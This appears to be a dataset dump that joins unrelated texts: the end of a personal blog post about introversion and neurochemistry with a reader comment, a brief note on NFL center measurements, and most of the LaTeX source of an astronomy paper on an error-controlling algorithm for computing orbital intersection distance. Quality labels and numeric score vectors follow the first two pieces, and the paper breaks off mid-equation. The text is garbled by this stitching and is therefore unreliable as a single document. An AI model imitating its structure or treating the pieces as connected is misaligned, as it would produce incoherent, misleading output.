by itself, may be why I’m just all yeah-reward-neurochem-hit-that’s-nice-whatever-moving-on around dopamine, because the word is that that’s how interoverts are with dopamine, and it’s acetylcholine we need and crave instead. Oddly enough, my nutritional deficits usually are also acetylcholine-related, and I’ve also had low blood sugar and low blood pressure all my life, which it seems may have something to do with it, too. Who knows how useful any of that may be, but more to geek out about, always fun. Unsurprisingly, a bunch of this involves Aha! moments for me, that when I bring them to Blue, is all “Umm, I know.” I suppose it never does fail that all of us are often so much more aware of the behavior of those around us than of our own. I think that’s one of those things we’re supposed to magically outgrow with the wisdom of age and a lot of meditation. And yet. That said, my sweetheart has been beautifully patient with my process in this, making extra room for me to have extra room, when I’m already someone who errs on the side of more-time-alone than most as it is. Those “Umm, I knows” also are delivered with likely less boredom than I’d expect from someone has who has already seen a lot of this from their side of the screen already. I still, I’m sorry to say, have yet to come up with the miracle plan of how to change the world as it is right now so that there’s more room in it for introverts and for what we need to be who we are. I know, you’re disappointed. Me too. But my own plan for right now is to just keep reminding myself that when I feel like there’s no room for me and I need to conform that that’s not the deal: the deal is that I need to conform to this no more than I ever have with anything else in my life, and instead carve out the space and place I need and ask for room to be made. I’m still barely just starting with that, because it asks for quite a bit of revamping and revising, but I’m getting there. This includes asking myself for that space and place, or, perhaps more to the point, the part of myself that — quite counter to almost every other part of myself through my life, so I’m resistant to even acknowledge it sometimes — really bought the bill of sale that said I had to be a person in some ways I not only am not, but a person which often obscures the uniqueness of who I am and my best ways of being me. For that matter, it obscures a whole kind of people who’ve always had a lot to give the world, but who the world has to quiet down to hear, and slow down to see and really take in, people who I’ve probably appreciated most in my life far beyond the mere fact of having a mere temperament in common. P.S. Holy bananas, do I know how out of date some of the supporting pages of this journal are. Updating them is on my to-do list. But since that’s been on my to-do list for, oh, two years and change, I’m seeing if stating that intention where other people can see it — and thus, I’ll feel really embarrassed if I don’t get to it soon — helps. one comment so far I don’t know enough neurochem or biochem to get the dopamine / acetylcholine reference, but as another introvert with low blood sugar and blood pressure and the whole nicotine thing, I’ll be doing some research. Things are a bit off with my biology these days, so that would be useful to know. It took me a long time to learn that needing a lot of time to myself is okay, and longer to not feel bad about it when saying no to people. But it’s worth it, I’m so much happier this way.	Mid	[ 0.598522167487684, 30.375, 20.375 ]
OC Measurements Table Center is a position that I haven’t been able to show any consistent trends with RAS and success in the NFL. Travis Frederick and Rodney Hudson for instance measured below 2.00 out of 10.00, while Jason Kelce and Alex Mack measured well above average. Still, depending on the type of offense you run it can be more important to view specific measurables and know what your thresholds are.	Low	[ 0.5155925155925151, 31, 29.125 ]
--- abstract: 'We present an algorithm to compute the minimum orbital intersection distance (MOID), or global minimum of the distance between the points lying on two Keplerian ellipses. This is achieved by finding all stationary points of the distance function, based on solving an algebraic polynomial equation of $16$th degree. The algorithm tracks numerical errors appearing on the way, and treats carefully nearly degenerate cases, including practical cases with almost circular and almost coplanar orbits. Benchmarks confirm its high numeric reliability and accuracy, and that regardless of its error–controlling overheads, this algorithm pretends to be one of the fastest MOID computation methods available to date, so it may be useful in processing large catalogs.' address: - 'Saint Petersburg State University, Faculty of Mathematics and Mechanics, Universitetskij pr. 28, Petrodvorets, Saint Petersburg 198504, Russia' - 'Central Astronomical Observatory at Pulkovo of the Russian Academy of Sciences, Pulkovskoje sh. 65/1, Saint Petersburg 196140, Russia' - 'Saint Petersburg State University, Faculty of Mathematics and Mechanics, Universitetskij pr. 28, Petrodvorets, Saint Petersburg 198504, Russia' author: - 'Roman V. Baluev' - 'Denis V. Mikryukov' bibliography: - 'distalg.bib' title: 'Fast error–controlling MOID computation for confocal elliptic orbits' --- close encounters ,near-Earth asteroids ,NEOs ,catalogs ,computational methods Introduction ============ The MOID parameter, or the minimum distance between points on two Keplerian orbits, has an important value in various Solar System studies. It measures the closeness of two trajectories in the $\mathbb R^3$ space, and hence ascertains whether two bodies have a risk to collide. For example, if MOID appeared below the sum of radii of two bodies than such bodies may avoid a collision only if they orbit in a mean-motion resonance, or via a perturbating effect that may increase the MOID to a safe level before the bodies could actually collide. Otherwise, the bodies will necessarily collide in some future. Therefore, computing the MOID is very old task with an application to Potentially Hazardous Objects (PHOs) and Near-Earth Asteroids (NEAs). This problem is investigated over decades already, see e.g. [@Sitarski68; @Dybczynski86] and more recent works by @Armellin10 [@Hedo18]. The MOID is a minimum of some distance or distance-like function $\rho(u,u')$ that depends on two arguments, determining positions on two orbits. The methods of finding the minima of $\rho(u,u')$ can be split in several general cathegories, depending on the dimensionality of the optimization task to be solved. This depends on how much work is pre-computed analytically. 1. Global optimization in 2D. As an ultimately simple example this includes e.g. the 2D brute-force (exhaustive) search of $\rho(u,u')$ on a 2D grid. Thanks to the existence of rigorous and finite upper limits on the gradient of $\rho(u,u')$, which appears to be a trigonometric polynomial, we can always limit the finite difference $\Delta\rho$ by $\Delta u \max \|\rho'_u\|$ and $\Delta u' \max \|\rho'_{u'}\|$. Thanks to such error predictability, algorithms of the 2D class appear the most reliable ones, because we can always determine the MOID, along with the orbital positions $u$ and $u'$, to any desired accuracy. An advanced method based on the 2D global optimization of $\rho$, which includes high-order Taylor models and interval arithmetics, was presented by @Armellin10. Nevertheless, even advanced methods of this type cannot be fast due to the need of considering 2D domains. 2. 1D optimization. Here we eliminate $u'$ from the numeric search by solving it from an analytic equation. The remaining orbital position $u$ is determined by numeric optimization of the 1D function $\tilde\rho(u) = \rho(u,u'(u))$. In general, this is faster than 2D minimization, but the derivative of $\tilde\rho(u)$ is no longer bounded, because $du'/du$ may turn infinite sometimes. Such cases may appear even for very simple circular orbits. Therefore, in general this method cannot provide a strict mathematical guarantee of the desired numerical accuracy. However, it appears more reliable than the methods of the next class. The SDG method discussed by @Hedo18 basically belongs to this class. 3. Methods of the 0D class, in which both $u$ and $u'$ are solved for rather than found by numeric optimization. This includes the method by @KholshVas99 and by @Gronchi02 [@Gronchi05], because they do not explicitly deal with any numeric optimization at all. The task is analytically reduced to solving a nonlinear equation with respect to $u$ and then express $u'$ also analytically. Methods of this class are ultimately fast but relatively vulnerable to loosing roots due to numerical errors (in nearly degenerate cases). This effect becomes important because the equation for $u$ is quite complicated and subject to round-off errors. Also, this equation often have close (almost multiple) roots that are always difficult for numeric processing. Here we present an efficient numeric implementation of the algebraic approach presented by @KholshVas99, similar to the one presented by @Gronchi02 [@Gronchi05]. This method belongs to the fast 0D class. It is based on analytic determination of all the critical points of the distance function, $\|{\bm{r}} - {\bm{r}}'\|^2$, augmented with an algebraic elimination of one of the two positional variables. Mathematically, the problem is reduced to a single polynomial equation of $16$th degree with respect to one of the eccentric anomalies. Recently, @Hedo18 suggested a method that does not rely on necessary determination of all the stationary points for the distance. It basically splits the problem in two tasks of 1D optimization, so this method belongs to the 1D class. Nevertheless, it proved $\sim 20$ per cent faster than the 0D Gronchi algorithm, according to the benchmarks. Though the performance differences appeared relatively moderate, there were revealed occurences when the Gronchi’s code suffered from numeric errors, reporting a wrong value for the MOID. Therefore, in this task the numeric reliability of the method is no less important than just the computing speed. Direct implementation of the methods by @KholshVas99 and @Gronchi02 might be vulnerable, because finding roots of a high-degree polynomial might be a numerical challenge sometimes. When dealing with large asteroid catalogs, various almost-degenerate cases appear sometimes, if the equations to be solved contain almost-double or almost-multiple roots. Such roots are difficult to be estimated accurately, because they are sensitive to numeric errors (even if there were no errors in the input orbital elements). Moreover, we have a risk of ambiguity: if the polynomial has two or more very close real roots then numeric errors may result in moving them to the complex plane entirely, so that we may wrongly conclude that there are no such real roots at all. Such effect of lost of real roots may potentially result in overestimating the MOID, i.e. it may appear that we lost exactly the solution corresponding to the global minimum of the distance. This issue can be solved by paying attention not only to the roots formally identified as real, but also to all complex-valued roots that appear suspiciously close to the real axis. To define formally what means ‘suspiciously close’ we need to estimate numeric error attached to a given root, not just its formal value. In other words, our task assignes an increased role to the numeric stability of the computation, because errors are known to dramatically increase when propagating through mathematical degeneracies. This motivated us to pay major attention to error control when implementing the method by @KholshVas99 in a numerical algorithm. The structure of the paper is as follows. In Sect. \[sec\_math\], we give some mathematical framework that our algorithm relies upon. Sect. \[sec\_alg\] describes the numeric algorithm itself. Sect. \[sec\_tols\] contains some guidelines on how to select meaningful error tolerances for our algorithm. Sect. \[sec\_perf\] presents its performance tests. In Sect. \[sec\_add\], we describe several auxiliary tools included in our MOID library. The C++ source code of our MOID library named [distlink]{} is available for download at `http://sourceforge.net/projects/distlink`. Mathematical setting {#sec_math} ==================== Consider two confocal elliptic orbits: $\mathcal E$ determined by the five geometric Keplerian elements $a,e,i,\Omega,\omega$, and $\mathcal E'$ determined analogously by the same variables with a stroke. Our final task is to find the minimum of the distance $\|{\bm{r}} - {\bm{r}}'\|$ between two points lying on the corresponding orbits, and the orbital positions $u,u'$ where this minimum is attained (here $u$ stands for the eccentric anomaly). According to @KholshVas99, this problem is reduced to solving for the roots of a trigonometric polynomial $g(u)$ of minimum possible algebraic degree $16$ (trigonometric degree $8$). It is expressed in the following form: $$\begin{aligned} g(u) &= K^2 (A^2-C^2) (B^2-C^2) + \nonumber\\ &+ 2 K C \left[NA (A^2-C^2) + MB (B^2-C^2)\right] - \nonumber\\ &- (A^2+B^2) \left[N^2(A^2-C^2)+M^2(B^2-C^2)-\right.\nonumber\\ &\left.\phantom{(A^2+B^2)}-2NMAB\right], \label{gdef}\end{aligned}$$ where $$\begin{aligned} A &=& PS' \sin u - SS' \cos u, \nonumber\\ B &=& PP' \sin u - SP' \cos u, \nonumber\\ C &=& e' B - \alpha e \sin u (1-e\cos u), \nonumber\\ M &=& PP' \cos u + SP' \sin u + \alpha e' - PP' e, \nonumber\\ N &=& PS' e - SS' \sin u - PS' \cos u, \nonumber\\ K &=& \alpha' e'^2, \label{ABC}\end{aligned}$$ and $\alpha=a/a'$, $\alpha'=a'/a$. The quantities $PP'$, $PS'$, $SP'$, $SS'$ represent pairwise scalar products of the vectors ${\bm{P}}$ and ${\bm{S}}$: $$\begin{aligned} {\bm{P}} = \{&\cos\omega\cos\Omega-\cos i\sin\omega\sin\Omega, \nonumber\\ &\cos\omega\sin\Omega+\cos i\sin\omega\cos\Omega, \nonumber\\ &\sin i\sin\omega\, \}, \nonumber\\ {\bm{S}} = \phantom{\{} &{\bm{Q}} \sqrt{1-e^2}, \nonumber\\ {\bm{Q}} = \{&-\sin\omega\cos\Omega-\cos i\cos\omega\sin\Omega, \nonumber\\ &-\sin\omega\sin\Omega+\cos i\cos\omega\cos\Omega, \nonumber\\ &\sin i\cos\omega\, \},\end{aligned}$$ with analogous definitions for ${\bm{P}}'$ and ${\bm{S}}'$. When all the roots of $g(u)$ are found, for each $u$ we can determine the second position $u'$ from $$\cos u' = \frac{BC + mA\sqrt D}{A^2+B^2},\; \sin u' = \frac{AC - mB\sqrt D}{A^2+B^2}, \label{us}$$ where $$D = A^2+B^2-C^2, \quad m=\pm 1.$$ The sign of $m$ should be chosen to satisfy $$M \sin u' + N \cos u' = K \sin u'\cos u',$$ so there is only a single value of $u'$ that corresponds to a particular solution for $u$. Finally, after both the orbital positions $u$ and $u'$ were determined, the squared distance between these points is $\|{\bm{r}} - {\bm{r}}'\|^2 = 2aa'\rho(u,u')$, where $$\begin{aligned} \rho(u,u') = &\frac{\alpha+\alpha'}{2}+\frac{\alpha e^2+\alpha' e'^2}{4} - PP'ee' + \nonumber\\ &+ (PP'e'-\alpha e)\cos u + SP'e'\sin u + \nonumber\\ &+ (PP'e-\alpha'e')\cos u'+PS'e\sin u'- \nonumber\\ &- PP'\cos u\cos u' - PS'\cos u\sin u'- \nonumber\\ &- SP'\sin u\cos u' - SS'\sin u\sin u' + \nonumber\\ &+ \frac{\alpha e^2}{4}\cos 2u + \frac{\alpha'e'^2}{4} \cos 2u'. \label{rho}\end{aligned}$$ Therefore, our general computation scheme should look as follows: (i) find all real roots of $g(u)$; (ii) for each solution of $u$ determine its corresponding $u'$; (iii) for each such pair $u,u'$ compute $\rho(u,u')$; and (iv) among these values of $\rho$ select the minimum one. This will give us the required MOID estimate. As we can see, the most difficult step is finding all real roots of the trigonometric polynomial $g(u)$, while the rest of the work is rather straightforward. This trigonometric polynomial can be rewritten in one of the two standard forms: $$g(u) = a_0 + 2 \sum_{k=1}^N (a_k \cos ku + b_k \sin ku) = \sum_{k=-N}^N c_k {\mathrm e}^{iku}, \label{gcan}$$ where $N=8$. The coefficients $a_k$, $b_k$, and $c_{\pm k} = a_k\mp i b_k$ can be expressed as functions of the quantities $PP'$, $PS'$, $SP'$, $SS'$, and $\alpha$, $e$, $e'$. Most of such explicit formulae would be too huge and thus impractical, but nonetheless we computed an explicit form for the coefficient $c_8$: $$\begin{aligned} c_8 = c_{-8}^* &= \left(\frac{\alpha e^2}{16}\right)^2 M_1 M_2 M_3 M_4, \nonumber\\ M_1 &= PP'-SS' - ee' - i (SP'+PS'), \nonumber\\ M_2 &= PP'-SS' + ee' - i (SP'+PS'), \nonumber\\ M_3 &= PP'+SS' - ee' - i (SP'-PS'), \nonumber\\ M_4 &= PP'+SS' + ee' - i (SP'-PS'). \label{c8}\end{aligned}$$ Here the asterisk means complex conjugation. The number of real roots of $g(u)$ cannot be smaller than $4$ [@KholshVas99]. Also, this number is necessarily even, since $g(u)$ is continuous and periodic. But the upper limit on the number of real roots is uncertain. In any case, it cannot exceed $16$, the algebraic degree of $g(u)$, but numerical simulations performed by @KholshVas99 never revealed more than $12$ real roots. Here we reproduce their empirical upper limit: based on a test computation of $\sim 10^8$ orbit pairs from the Main Belt (see Sect. \[sec\_perf\]), we obtained approximately one $12$-root occurence per $\sim 4\times 10^6$ orbit pairs[^1]. No cases with $14$ or $16$ roots were met.[^2] Since the number of real roots of $g(u)$ is highly variable and a priori unknown, certain difficulties appear when dealing with $g(u)$ in the real space. In practice $g(u)$ often becomes close to being degenerate, e.g. in the case of almost circular or almost coplanar orbits, which is frequent for asteroids and typical for major planets in the Solar System. In such cases, real roots of $g(u)$ combine in close pairs or even close quadruples. The graph of $g(u)$ passes then close to the abscissa near such roots. This means that numeric computing errors affect such nearly-multiple roots considerably, implying increased uncertainties. Moreover, we might be even uncertain about the very existence of some roots: does the graph of $g(u)$ really intersects the abscissa or it passes slightly away, just nearly touching it? In practice this question may become non-trivial due to numerical errors, that might appear important because $g(u)$ is mathematically complicated. Therefore, treating $g(u)$ only in the real space might result in loosing its roots due to numeric errors. But loosing real roots of $g(u)$ would potentially mean to vulnerably overestimate the MOID, because there is a risk that the minimum distance $\|{\bm{r}}-{\bm{r}}'\|$ occasionally corresponds to a lost root. Then it might be more safe to overestimate the number of real roots of $g(u)$, i.e. we should also test “almost-real” complex roots that correspond to a near-touching behaviour of $g(u)$, even if it does not apparently intersect the abscissa. This would imply some computational overheads and additional CPU time sacrificed for the algorithmic reliability and numeric stability. Also, this would mean to treat $g(u)$ in the complex plane and find all its complex roots, rather than just the real ones. As such, we need to swap to complex notations. By making the substitution $z={\mathrm e}^{iu}$ or $w={\mathrm e}^{-iu}$, we can transform $g(u)$ to an algebraic polynomial of degree $16$: $$g(u) = \sum_{k=-N}^N c_k z^k = \mathcal P(z) w^N = \mathcal Q(w) z^N. \label{gPQ}$$ So, the task of finding roots of $g(u)$ becomes equivalent to solving $\mathcal P(z)=0$ or $\mathcal Q(w)=0$.[^3] Among all these complex roots we must select those that within numeric errors lie on the unit circle $\|z\|=\|w\|=1$. Since all $a_k$ and $b_k$ are real, the complex coefficients satisfy the property $c_k = c_{-k}^$. Hence, roots of $\mathcal P(z)$ obey the following rule: if $z=r{\mathrm e}^{i\varphi}$ is such a root then $1/z^=r^{-1}{\mathrm e}^{i\varphi}$ is also a root of $\mathcal P$. Therefore, the entire set of these roots includes three families: (i) roots on the unit circle $\|z\|=1$ that correspond to real $u$, (ii) roots outside of this circle, $\|z\|>1$, and (iii) roots inside the unit circle, $\|z\|<1$. The roots with $\|z\|\neq 1$ are split into pairs of mutually inverse values that have $\|z\|<1$ and $\|z\|>1$. Numerical algorithm {#sec_alg} =================== Determining the polynomial coefficients and their uncertainty ------------------------------------------------------------- First of all, we must represent the polynomial $g(u)$ in its canonical form (\[gcan\]). For that, we need to compute the coefficients $c_k$. The explicit formulae for $c_k$ are too complicated and impractical, except for the case $k=\pm 8$ given in (\[c8\]). Instead of direct computation of $c_k$, we determine them by means of the discrete Fourier transform (DFT hereafter): $$c_k = \frac{1}{2N+1} \sum_{m=0}^{2N} g(u_m)\, {\rm e}^{ik u_m}, \quad u_m=\frac{2\pi m}{2N+1}. \label{dft}$$ Here, $g(u_m)$ are computed by using the relatively compact formula (\[gdef\]). Regardless of the use of DFT, this approach appears computationally faster than computing all $c_k$ directly. We do not even use FFT algorithms for that, because of too small number of coefficients $N=8$. For so small $N$, the FFT technique did not give us any remarkable speed advantage in comparison with the direct application of the DFT (\[dft\]). However, the DFT can likely accumulate some rounding errors. The accuracy of so-determined $c_k$ can be roughly estimated by comparing the DFT estimate of $c_{\pm 8}$ with its explicit representation (\[c8\]), which is still mathematically simple. We may assume that numerical errors inferred by the formula (\[c8\]) are negligible, and that all the difference between (\[dft\]) and (\[c8\]) is solely explained by the DFT errors. Moreover, we can compute the DFT (\[dft\]) for any $N>8$. In such a case, all the coefficients $c_k$ for $\|k\|>8$ must turn zero. However, due to numeric errors their DFT estimate may occur non-zero, and in such a case the magnitude of this $c_k$ can be used as a rough error assessment. Based on this consideration, we adopted the following formulae to estimate the average error in $c_k$: $$\varepsilon^2 = \left.\left(\|c_8-c_8'\|^2 + \sum_{k=9}^N \|c_k'\|^2 \right)\right/(N-7). \label{err}$$ Here, $c_8$ is determined from (\[c8\]), while $c_k'$ are DFT estimations from (\[dft\]). The formula (\[err\]) represents a statistical estimation that treats numerical errors in $c_k$ as random quantities. It is based on the assumption that errors in different $c_k$ are statistically independent (uncorrelated) and have the same variance. In such a case, $\varepsilon^2$ provides an estimate of that variance. In our algorithm, we set $N=10$, thus computing the DFT from $21$ points $u_m$. In practical computation we always obtained $\varepsilon$ not far from the machine precision, except for rare cases. We additionally notice that the error estimation (\[err\]) also includes, to a certain extent at least, the numeric error appeared when computing the values of $g(u_m)$ by formula (\[gdef\]), not just the DFT errors inferred by (\[dft\]). Root-finding in the complex plane --------------------------------- When all $c_k$ are determined, along with their probable numerical error, we can determine all complex roots of $\mathcal P(z)$. This is done via Newtonian iterations and obeys the following numeric scheme: 1. Initial approximations for the first $8$ roots are selected in a specific optimized manner as detailed below. 2. Initial approximation for each next root $z_k$ is chosen according to the prediction $z_k^{(0)}=1/z_{k-1}^$, where $z_{k-1}$ is the final estimation of the previous root. Thanks to such a choice, the algorithm will always extract a paired complex root $z_k=1/z_{k-1}^$ immediately after $z_{k-1}$. The Newtonian iterations for $z_k$ converge in this case very quickly (in two iterations or so). This does not work, if $z_{k-1}$ belongs to the family $\|z\|=1$ (such roots do not combine into inverse pairs), or if $z_{k-1}$ turns out to be that second root in the pair. Then such a starting approximation would be equal to either $z_{k-1}$ or $z_{k-2}$, so the next extracted root $z_k$ will likely appear close to one of these. 3. Each root is refined by Newtonian iterations (i) until some least required relative accuracy $\delta_{\max}$ is achieved, and then (ii) until we reach the desired target relative accuracy $\delta_{\min}$ or, at least, the maximum possible machine accuracy, if $\delta_{\min}$ is unreachable. On the first phase, we iterate until the last Newtonian step $\|d_n\|$ falls below $\delta_{\max}\|z\|$. The iterations are restarted from a different starting point, if they are trapped in an infinite loop at this phase (this is the known curse of the Newton method). On the second phase, the stopping criterion relies on the last and pre-last Newtonian steps, $\|d_n\|$ and $\|d_{n-1}\|$. The iterations are continued either until $\|d_n\|<\delta_{\min}\|z\|$, or until the relative step change, $\gamma_n=(\|d_{n-1}\|^2-\|d_n\|^2)/\|d_n\|^2$, drops below the machine epsilon $\epsilon$. The latter criterion is motivated as follows. In the middle of iterations, whenever numeric round-off errors are not significant yet, the parameter $\gamma_n$ should remain large positive, since each $\|d_n\|$ is much smaller than $\|d_{n-1}\|$. But in the end either $\gamma_n\to 0$, if iterations get finally stuck at almost the same numeric value near the root, or $\gamma_n$ occasionally attains negative values, if the iterations start to randomly jump about the root due to numeric errors. A good practical assumption for the accuracy parameters might be $\delta_{\max}\sim \sqrt{\epsilon}$ and $\delta_{\min}=0$ or about $\epsilon$. 4. Whenever we have an accurate estimate of a root $z_k$, this root is eliminated from $\mathcal P(z)$ through dividing it by $(z-z_k)$ via the Horner scheme. The remaining polynomial has a reduced degree. For the sake of numerical stability, we either extract the multiplier $(z-z_k)$ from $\mathcal P(z)$, if $\|z_k\|>1$, or $(w-w_k)$ from $Q(w)$, if $\|z_k\|<1$. 5. The roots are extracted in such a way until we receive a quadratic polynomial in $\mathcal P(z)$. Its two remaining roots are then obtained analytically. The order, in which the roots are extracted, is important. If we extract ‘easy’ roots first, we spend little Newtonian iterations with a high-degree $\mathcal P$. Also, such ‘easy’ roots should likely be far from degeneracies and hence be numerically accurate. Therefore, they should not introduce big numeric errors when the Horner scheme is applied. The ‘difficult’ roots that require big number of Newtonian iterations should better be extracted later, when the degree of $\mathcal P$ is reduced. If we act in an opposite manner, i.e. extract ‘difficult’ roots first, these difficult roots will inevitably increase numeric errors. After applying the Horner scheme, these increased errors are transferred to the coefficients $c_k$, reducing the accuracy of all the remaining roots. Also, bad roots always require larger number of Newtonian iterations, which become even more expensive at the beginning, when the degree of $\mathcal P$ is still large and its computation is more slow. After some tests we decided that the best way is to extract in the very beginning extreme complex roots: $\|z\|\ll 1$ and their inversions $\|z\|\gg 1$. Such roots are determined quickly and accurately, and the Horner scheme is very stable for them. Since in practical computations we always revealed at least $4$ complex roots, we try to extract these four roots in the beginning. The starting approximation for the first root, $z_1^{(0)}$, is always set to zero. This will likely give us the root with smallest $\|z_1\|$. The next root, $z_2$, is started from $z_2^{(0)}=1/z_1^$ and will be determined almost immediately. It will be the largest one. Initial approximations for the next too roots, $z_3$ and $z_4$, are set from our usual rule, $z_k^{(0)}=1/z_{k-1}^$. Thanks to this, we obtain yet another smallest root as $z_3$, and yet another largest root as $z_4$. After these four extreme complex roots are removed from $\mathcal P$, we try to extract the four guaranteed roots that lie on the unit circle. We select their initial approximations to be such that $u$ is located at the orbital nodes or $\pm 90^\circ$ from them. This is motivated by the practical observation that the MOID is usually attained near the orbital nodal line, see Sect. \[sec\_add\]. Thanks to such a choice, these four roots are determined in a smaller number of Newtonian iterations. The ninth root is iterated starting from $z_9^{(0)}=0$ again, and for the rest of roots we follow the general rule $z_k^{(0)}=1/z_{k-1}^$. Thanks to such a choice, the algorithm tries to extract the remaining roots starting far from the unit circle $\|z\|=1$, approaching it in the end. Therefore, the most numerically difficult cases, which are usually located at $\|z\|=1$, are processed last, when the degree of $\mathcal P$ is already reduced in a numerically safe manner. Using this optimized sequence we managed to reduce the average number of Newtonian iterations from $7$–$8$ per root to $5$–$6$ per root, according to our benchmark test case (Sect. \[sec\_perf\]). Also, this allowed to further increase the overall numeric accuracy of the roots and numeric stability of the results, because highly accurate roots are extracted first and roots with poor accuracy did not affect them. Estimating roots uncertainty and roots selection ------------------------------------------------ When all complex roots of $\mathcal P(z)$ are obtained, we need to select those roots that satisfy $\|z\|=1$ and thus correspond to real values of $u$. However, in practice the equation $\|z\|=1$ will never be satisfied exactly, due to numerical errors. We need to apply some criterion to decide whether a particular $\|z_k\|$ is close to unit, within some admissible numeric errors, or not. We approximate the relative error of the root $z_k$ by the following formula: $$\varepsilon_z^2 = \frac{1}{\|z_k\|^2} \left( \|d\|^2 + \frac{\varepsilon_{\mathcal P}^2}{\|\mathcal D\|^2} \right). \label{zerr}$$ Its explanation is as follows. Firstly, $d$ is the smaller (in absolute value) of the roots of a quadratic polynomial that approximates $\mathcal P(z)$ near $z_k$: $$\begin{aligned} \frac{\mathcal P''(z_k)}{2} d^2 + \mathcal P'(z_k) d + \mathcal P(z_k) = 0, \nonumber\\ d=\frac{-\mathcal P' + \mathcal D}{\mathcal P''}, \quad \mathcal D = \pm \sqrt{\mathcal P'^2 - 2\mathcal P \mathcal P''}. \label{qapp}\end{aligned}$$ Thus, the first term in (\[zerr\]), or $\|d\|$, approximates the residual error of $z_k$ still remained after Newtonian iterations. It is zero if $\mathcal P(z_k)=0$ precisely. Here we use the initial polynomial $\mathcal P$ of $16$th degree, not the one obtained after dividing it by any of $z-z_k$. For practical purposes, $d$ should be calculated using a numerically stabilized formula that avoids subtraction of close numbers whenever $\mathcal P\approx 0$. For example, we can use $$d = \frac{-2\mathcal P}{\mathcal P' + \mathcal D},$$ selecting such sign of $\mathcal D$ that maximizes the denominator $\|\mathcal P' + \mathcal D\|$. But just $\|d\|$ is not enough to characterize the uncertainty of $z_k$ in full. In fact, most of this uncertainty comes from the numerical errors appearing in $\mathcal P(z)$ through $c_k$. Inaccurate computation of $\mathcal P(z)$ leads to errors in the estimated root $z_k$. Using the quadratic approximation (\[qapp\]), the sensitivity of $z_k$ with respect to varying $\mathcal P$ is expressed by the derivative $\partial d/\partial\mathcal P = -1/\mathcal D$. Hence, the second error term in (\[zerr\]) appears, $\varepsilon_{\mathcal P}/\|\mathcal D\|$, where $\varepsilon_{\mathcal P}$ represents the error estimate of $\mathcal P(z)$: $$\varepsilon_{\mathcal P}^2 = \varepsilon^2 \sum_{n=0}^{16} \|z_k\|^{2n},$$ where $\varepsilon$ given in (\[err\]). The quadratic approximation (\[qapp\]) is related to the iterative Muller method that takes into account the second derivative of $\mathcal P$. We needed to take into account $\mathcal P''$ because in practice the real roots of $g(u)$ are often combined into close pairs, triggering a close-to-degenerate behaviour with small $\|\mathcal P'(z)\|$. In such a case the linear (Newtonian) approximation of $\mathcal P(z)$ yields too pessimistic error estimate for $z_k$. The use of the quadratic approximation (\[qapp\]) instead allows us to adequately treat such cases with nearly double roots. However, even with (\[qapp\]) it is still difficult to treat the cases in which the roots combine in close quadruples. Then $\mathcal P''(z_k)$ becomes small too, along with $\mathcal P'(z_k)$ and $\mathcal P(z_k)$. The error estimate (\[zerr\]) becomes too pessimistic again. Such cases are very rare, but still exist. They may need to be processed with an alternative computation method (see Sect. \[sec\_add\]). In the error estimate (\[zerr\]), we neglect numerical errors of $\mathcal P'(z_k)$ and of $\mathcal P''(z_k)$, assuming that these quantities do not vanish in general and thus always keep a satisfactory relative accuracy (this is typically true even for almost double paired roots). We use the following numeric criterion to identify roots lying on the unit circle: $$\Delta_z = \frac{\left\|\log\|z\| \right\|}{\nu \varepsilon_z} \leq 3. \label{thr}$$ Here, $\nu$ is an auxiliary scaling parameter controlling the tolerance of the threshold. Normally, it should be set to unit and its meaning is to heuristically correct the estimated $\varepsilon_z$ in case if there are hints that this error estimation is systematically wrong. The threshold $3$ is supposed to mean the so-called three-sigma rule. It was selected well above the unit in order to increase the safety of roots selection and hence the reliability of the entire algorithm. After selecting all the roots $z_k$ that lie close enough to the unit circle, we may determine the corresponding eccentric anomaly $u_k=\arg z_k$, then its corresponding $u_k'$ from (\[us\]) and $\rho_k = \rho(u_k,u_k')$ from (\[rho\]). The minimum among all computed $\rho_k$ yields us the required MOID estimate. In general, the discriminant $D$ in (\[us\]) is non-negative if $u$ is a root of $g(u)$, but this can be violated in some special degenerate cases [@Baluev05]. Formally, negative $D$ means that MOID cannot be attained at the given orbital position $u$, even if $g(u)=0$. This is quite legal, meaning that some roots of $g(u)$ may be parasitic, i.e. corresponding to a critical point of $\rho(u,u')$ for some complex $u'$ (even if $u$ is real). However, $D$ may also turn negative due to numeric errors perturbing almost-zero $D>0$. We could distinguish such cases based on some uncertainty estimate of $D$, but in practice it appears easier to process all them just forcing $D=0$. In the first case (if $D$ is negative indeed), this would imply just a negligible computation overhead because of unnecessary testing of an additional $\rho_k$ that cannot be a MOID. But in the second case (if $D$ appeared negative due to numeric errors) we avoid loosing a potential MOID candidate $\rho_k$. Refining the MOID by 2D iterations ---------------------------------- Now we have quite a good approximation for the MOID and for the corresponding positions in $u$ and $u'$. However, their accuracy is typically 1-2 significant digits worse than the machine precision (even if we iterated the roots $z_k$ to the machine precision). The loss of numeric precision appears in multiple places: in rather complicated formulae like (\[gdef\]), in (\[us\]) if $D$ appeared small, in the DFT computation (\[dft\]), and so on. As a result, whenever working in the standard [double]{} precision, we may receive average numeric errors of $\sim 10^{-14}$ instead of the relevant machine epsilon $\sim 10^{-16}$. Although this average accuracy is pretty good for the most practical needs, in poorly-conditioned cases the errors may increase further. But fortunately, the results can be easily refined to the machine precision $\sim 10^{-16}$ at the cost of negligible overheads. This can be achieved by applying the 2D Newton iteration scheme to the function $\rho(u,u')$. Let us decompose it into the Taylor series: $$\rho(u,u') = \rho_0 + {\bm{g}} \cdot {\bm{d}} + \frac{1}{2} {\bm{d}}^{\rm T} {\bm{\mathsf{H}}} {\bm{d}} + \ldots \label{rhoTayl}$$ Here, ${\bm{g}}$ is the gradient and ${\bm{\mathsf{H}}}$ is the Hessian matrix of $\rho$, considered at the current point $(u,u')$, while ${\bm{d}}$ is the 2D step in the plane $(u,u')$. We need to find such ${\bm{d}}$ where the gradient of (\[rhoTayl\]) vanishes: $$\nabla \rho = {\bm{g}} + {\bm{\mathsf{H}}} {\bm{d}} + \ldots = 0,$$ therefore the necessary 2D step is $${\bm{d}} = - {\bm{\mathsf{H}}}^{-1} {\bm{g}}. \label{step}$$ To compute $\rho$, ${\bm{g}}$, and ${\bm{\mathsf{H}}}$, we do not rely on the formula (\[rho\]), because it is poorly suited for practical numeric computations. It may generate a precision loss due to the subtraction of large numbers. Such a precision loss appears when MOID is small compared to $a$ and $a'$. The derivatives of $\rho$ can be computed using the following formulae, obtained by direct differentiation: $$\begin{aligned} \rho = \frac{({\bm{r}} - {\bm{r}}')^2}{2aa'}, \; g_u = \frac{({\bm{r}} - {\bm{r}}') {\bm{r}}_u}{2aa'}, \; g_{u'} = -\frac{({\bm{r}} - {\bm{r}}') {\bm{r}}'_{u'}}{2aa'}, \nonumber\\ 